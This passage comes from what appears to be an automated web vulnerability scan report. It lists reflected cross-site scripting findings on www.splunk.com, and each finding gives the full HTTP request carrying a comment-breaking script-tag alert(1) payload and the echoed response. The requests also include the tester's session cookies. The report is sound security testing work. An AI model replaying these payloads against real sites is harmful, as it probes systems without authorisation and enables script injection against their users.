__kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1685cc03ca5=1 -->
...[SNIP]...

4.485. http://www.splunk.com/themes/splunk_com/css/slimbox/slimbox2.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/slimbox/slimbox2.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 2498f--><script>alert(1)</script>de17f1d4431 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes2498f--><script>alert(1)</script>de17f1d4431/splunk_com/css/slimbox/slimbox2.css HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:36 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:36 GMT; path=/
ETag: e39aa070e2c2e39ff56fe5017ae0ae9d1296943957-gzip
Last-Modified: Sat, 05 Feb 2011 22:12:37 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>de17f1d4431/splunk_com/css/slimbox/slimbox2.css -->
...[SNIP]...

4.486. http://www.splunk.com/themes/splunk_com/css/slimbox/slimbox2.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/slimbox/slimbox2.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload fc34e--><script>alert(1)</script>94770923e9a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_comfc34e--><script>alert(1)</script>94770923e9a/css/slimbox/slimbox2.css HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:58 GMT; path=/
ETag: 75f170d65684a73c9175de775ee543ea1296943979-gzip
Last-Modified: Sat, 05 Feb 2011 22:12:59 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>94770923e9a/css/slimbox/slimbox2.css -->
...[SNIP]...

4.487. http://www.splunk.com/themes/splunk_com/css/slimbox/slimbox2.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/slimbox/slimbox2.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload a38cb--><script>alert(1)</script>1dcff4e2ee6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/cssa38cb--><script>alert(1)</script>1dcff4e2ee6/slimbox/slimbox2.css HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:13:22 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:43:23 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:43:23 GMT; path=/
ETag: 894d6171143dc17f5720f7556280e9a21296944003-gzip
Last-Modified: Sat, 05 Feb 2011 22:13:23 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1dcff4e2ee6/slimbox/slimbox2.css -->
...[SNIP]...

4.488. http://www.splunk.com/themes/splunk_com/css/slimbox/slimbox2.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/slimbox/slimbox2.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload e7954--><script>alert(1)</script>d8a7d5b7df7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css/slimboxe7954--><script>alert(1)</script>d8a7d5b7df7/slimbox2.css HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:13:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:43:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:43:50 GMT; path=/
ETag: fbe93a3e06253d5077954e9d02f4b3361296944030-gzip
Last-Modified: Sat, 05 Feb 2011 22:13:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d8a7d5b7df7/slimbox2.css -->
...[SNIP]...

4.489. http://www.splunk.com/themes/splunk_com/css/slimbox/slimbox2.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/slimbox/slimbox2.css

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 8158b--><script>alert(1)</script>9e902cde54a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css/slimbox/slimbox2.css8158b--><script>alert(1)</script>9e902cde54a HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:16 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:16 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:16 GMT; path=/
ETag: cef50f9668823485c56e5c1c90b96dd71296944056-gzip
Last-Modified: Sat, 05 Feb 2011 22:14:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9e902cde54a -->
...[SNIP]...

4.490. http://www.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload af711--><script>alert(1)</script>a24d2298d97 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themesaf711--><script>alert(1)</script>a24d2298d97/splunk_com/css/v5.php?v=09-28-10 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:49:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:19:48 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:19:48 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a24d2298d97/splunk_com/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.491. http://www.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 98594--><script>alert(1)</script>26db2ff63a4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com98594--><script>alert(1)</script>26db2ff63a4/css/v5.php?v=09-28-10 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:50:09 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:20:09 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:20:09 GMT; path=/
ETag: cb920ddb93bb4103279686dda03417c01296942609-gzip
Last-Modified: Sat, 05 Feb 2011 21:50:09 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>26db2ff63a4/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.492. http://www.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload f740a--><script>alert(1)</script>422a105e703 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/cssf740a--><script>alert(1)</script>422a105e703/v5.php?v=09-28-10 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:50:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:20:27 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:20:27 GMT; path=/
ETag: 1428f39b62214888b5438b42d1dc9b321296942628-gzip
Last-Modified: Sat, 05 Feb 2011 21:50:28 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>422a105e703/v5.php?v=09-28-10 -->
...[SNIP]...

4.493. http://www.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 6fa8d--><script>alert(1)</script>2c0892ab672 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css/v5.php6fa8d--><script>alert(1)</script>2c0892ab672?v=09-28-10 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:50:47 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:20:47 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:20:47 GMT; path=/
ETag: 30b81ce7ac45eb518aff5f0affe49be11296942647-gzip
Last-Modified: Sat, 05 Feb 2011 21:50:47 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2c0892ab672?v=09-28-10 -->
...[SNIP]...

4.494. http://www.splunk.com/videos [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/videos

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 76c3a--><script>alert(1)</script>8f12478cdc7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /videos76c3a--><script>alert(1)</script>8f12478cdc7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:24 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:24 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18295

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8f12478cdc7 -->
...[SNIP]...

4.495. http://www.splunk.com/videos [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/videos

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8c760--><script>alert(1)</script>7d5cbb3f69a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /videos?8c760--><script>alert(1)</script>7d5cbb3f69a=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 76902

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7d5cbb3f69a=1 -->
...[SNIP]...

4.496. http://www.splunk.com/videos [r parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/videos

Issue detail

The value of the r request parameter is copied into an HTML comment. The payload a012a--><script>alert(1)</script>bdc5183cb13 was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

